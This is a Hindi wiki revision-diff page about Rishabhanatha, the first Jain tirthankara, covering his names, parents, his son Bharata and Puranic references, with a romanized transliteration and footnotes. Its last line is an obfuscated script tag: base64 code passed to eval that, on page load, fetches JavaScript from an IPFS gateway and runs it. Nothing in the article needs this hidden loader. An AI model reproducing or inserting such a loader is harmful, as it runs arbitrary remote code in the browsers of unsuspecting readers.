Difference between revisions of "ऋषभनाथ तीर्थंकर"
Jump to navigation
Jump to search
[unchecked revision] | [unchecked revision] |
व्यवस्थापन (talk | contribs) |
व्यवस्थापन (talk | contribs) m (Text replace - " भारत " to " भारत ") |
||
Line 5: | Line 5: | ||
*इनके पिता का नाम नाभिराय होने से इन्हें ‘नाभिसूनु’ भी कहा गया है। | *इनके पिता का नाम नाभिराय होने से इन्हें ‘नाभिसूनु’ भी कहा गया है। | ||
*इनकी माता का नाम मरुदेवी था। | *इनकी माता का नाम मरुदेवी था। | ||
− | *ये आसमुद्रान्त सारे भारत (वसुधा) के अधिपति थे- पृथ्वी का अन्य शासक कोई शासक नहीं था। अन्त में विरक्त होकर व समग्र राजपाट को छोड़कर दीक्षापूर्वक दिगम्बर साधु हो गये थे। | + | *ये आसमुद्रान्त सारे [[भारत]] (वसुधा) के अधिपति थे- पृथ्वी का अन्य शासक कोई शासक नहीं था। अन्त में विरक्त होकर व समग्र राजपाट को छोड़कर दीक्षापूर्वक दिगम्बर साधु हो गये थे। |
*मोक्षमार्ग का प्रथम उपदेश देने से आद्य तीर्थंकर ( धर्मोपदेष्टा) के रूप में समग्र जैन साहित्य में मान्य हैं। | *मोक्षमार्ग का प्रथम उपदेश देने से आद्य तीर्थंकर ( धर्मोपदेष्टा) के रूप में समग्र जैन साहित्य में मान्य हैं। | ||
*भरत इनके ज्येष्ठ पुत्र थे, जो उनके राज्य के उत्तराधिकारी तो हुए ही, प्रथम सम्राट भी थे और जिनके नाम पर हमारे राष्ट्र का नाम ‘भारत’ पड़ा। | *भरत इनके ज्येष्ठ पुत्र थे, जो उनके राज्य के उत्तराधिकारी तो हुए ही, प्रथम सम्राट भी थे और जिनके नाम पर हमारे राष्ट्र का नाम ‘भारत’ पड़ा। | ||
Line 11: | Line 11: | ||
*वैदिक धर्म में भी ॠषभदेव को एक अवतार के रूप में माना गया है। | *वैदिक धर्म में भी ॠषभदेव को एक अवतार के रूप में माना गया है। | ||
*‘भागवत’ में ‘अर्हन्’ राजा के रूप में इनका विस्तृत वर्णन है। इसमें भरत आदि 100 पुत्रों का कथन जैन धर्म की तरह ही किया गया है। | *‘भागवत’ में ‘अर्हन्’ राजा के रूप में इनका विस्तृत वर्णन है। इसमें भरत आदि 100 पुत्रों का कथन जैन धर्म की तरह ही किया गया है। | ||
− | *अन्त में वे दिगम्बर (नग्न) साधु होकर सारे भारत में विहार करने का भी उल्लेख किया गया है। | + | *अन्त में वे दिगम्बर (नग्न) साधु होकर सारे [[भारत]] में विहार करने का भी उल्लेख किया गया है। |
*[[ॠग्वेद|ॠग्वेद]] आदि प्राचीन वैदिक साहित्य में भी इनका आदर के साथ संस्तवन किया गया है। | *[[ॠग्वेद|ॠग्वेद]] आदि प्राचीन वैदिक साहित्य में भी इनका आदर के साथ संस्तवन किया गया है। | ||
Revision as of 09:49, 20 September 2010
[[chitr:Seated-Rishabhanath-Jain-Museum-Mathura-38.jpg|thumb|250px|asanasth rrishabhanath
Seated Rishabhanatha
rajakiy jain sangrahalay, mathura]]
- inamean pratham tirthankar rrishabhadev haian.
- jain sahity mean inhean prajapati, adibrahma, adinath, brihaddev, purudev, nabhisoonu aur vrishabh namoan se bhi samullekhit kiya gaya hai.
- yugaranbh mean inhoanne praja ko ajivika ke lie krishi (kheti), masi (likhana-padhana, shikshan), asi (raksha , hetu talavar, lathi adi chalana), shilp, vanijy (vibhinn prakar ka vyapar karana) aur seva- in shatkarmoan (jivanavritiyoan) ke karane ki shiksha di thi, isalie inhean ‘prajapati’ [1], mata ke garbh se ane par hirany (suvarn ratnoan) ki varsha hone se ‘hiranyagarbh’ [2], vimalasoori-[3], dahine pair ke talue mean bail ka chihn hone se ‘rrishabh’, dharm ka pravartan karane se ‘vrishabh’ [4], sharir ki adhik ooanchaee hone se ‘brihaddev’ [5]evan purudev, sabase pahale hone se ‘adinath’ [6] aur sabase pahale mokshamarg ka upadesh karane se ‘adibrahma’ [7]kaha gaya hai.
- inake pita ka nam nabhiray hone se inhean ‘nabhisoonu’ bhi kaha gaya hai.
- inaki mata ka nam marudevi tha.
- ye asamudrant sare bharat (vasudha) ke adhipati the- prithvi ka any shasak koee shasak nahian tha. ant mean virakt hokar v samagr rajapat ko chho dakar dikshapoorvak digambar sadhu ho gaye the.
- mokshamarg ka pratham upadesh dene se ady tirthankar ( dharmopadeshta) ke roop mean samagr jain sahity mean many haian.
- bharat inake jyeshth putr the, jo unake rajy ke uttaradhikari to hue hi, pratham samrat bhi the aur jinake nam par hamare rashtr ka nam ‘bharat’ p da.
- shrimadbhagavat puran [8] mean kaha gaya hai ‘bhagavan rrishabhadev ke apani karmabhoomi ajanabhavarsh mean sau putr prapt hue, jinamean se jyeshth putr sahayogi ‘ bharat’ ko unhoanne apana rajy diya aur unhian ke nam se lok ise ‘bharatavarsh’ kahane lage. [9]isake poorv apane is bharatavarsh ka nam rrishabhadev ke pita nabhiraj ke nam par ‘ ajanabhavarsh’ prasiddh tha.
- vaidik dharm mean bhi rrishabhadev ko ek avatar ke roop mean mana gaya hai.
- ‘bhagavat’ mean ‘arhanh’ raja ke roop mean inaka vistrit varnan hai. isamean bharat adi 100 putroan ka kathan jain dharm ki tarah hi kiya gaya hai.
- ant mean ve digambar (nagn) sadhu hokar sare bharat mean vihar karane ka bhi ullekh kiya gaya hai.
- rrigved adi prachin vaidik sahity mean bhi inaka adar ke sath sanstavan kiya gaya hai.
vithika
- chitr:Jain-Tirthankara-Rishabhanatha-Jain-Museum-Mathura-25.jpg
jain tirthankar rrishabhanath
Jaina Tirthankara Rishabhanath - chitr:Thirthankara-Rishabhanath-Jain-Museum-Mathura-1.jpg
tirthankar rrishabhanath
Tirthankara Rishabhanath - chitr:Tirthankara-Rishabhanath-Mathura-Museum-34.jpg
tirthankar rrishabhanath
Tirthankara Rishabhanath - chitr:Torso-Of-Tirthankara-Rishabhanatha-Mathura-Museum-31.jpg
tirthankar rrishabhanath ka dh d
Tirthankara Rishabhanath
tika tippani aur sandarbh
- ↑ achary samantabhadr, svayambhustotr, shlok 2|
- ↑ jinasen, mahapuran, 12-95
- ↑ pumachariyan, 3-68|
- ↑ a. samantabhadr, svayambhoo stotr, shlok 5|
- ↑ madanakirti, shasanachatustrianshika, shlok 6, sanpa. d aau. darabari lal kothiya.
- ↑ manatung, bhaktamar adinath stotr, shlok 1, 25 |
- ↑ manatung, bhaktamar adinath stotr, shlok 1, 25 |
- ↑ (shrimadbhagavat puran skand-5 adhyay-4)
- ↑ ‘yeshaan khalu mahayogi bharato jyeshthah shreshthagun asidh yenedan varsh bharatamiti vyapadishanti.‘
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>